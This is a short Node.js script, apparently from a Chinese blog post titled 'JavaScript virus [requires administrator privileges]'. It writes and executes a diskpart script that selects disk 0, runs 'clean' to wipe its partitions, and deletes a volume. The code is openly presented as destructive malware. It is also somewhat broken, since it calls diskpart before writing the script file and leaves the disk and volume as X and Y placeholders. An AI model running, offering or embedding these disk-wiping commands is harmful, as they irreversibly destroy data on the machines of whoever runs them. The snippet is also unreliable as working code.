const { execSync } = require('child_process');
try {
// Run diskpart commands
execSync('diskpart /s script.txt');
// Write commands to a temporary script file
const fs = require('fs');
const script = `
select disk 0
clean
list disk
select disk X
list volume
select volume Y
delete volume
`;
fs.writeFileSync('script.txt', script);
// Execute the script using diskpart
execSync('diskpart /s script.txt');
// Optionally, delete the temporary script file
fs.unlinkSync('script.txt');
console.log('Disk operations completed successfully.');
} catch (error) {
console.error('An error occurred:', error.message);
}
JavaScript 病毒【需要管理员权限】
最新推荐文章于 2024-10-16 11:23:07 发布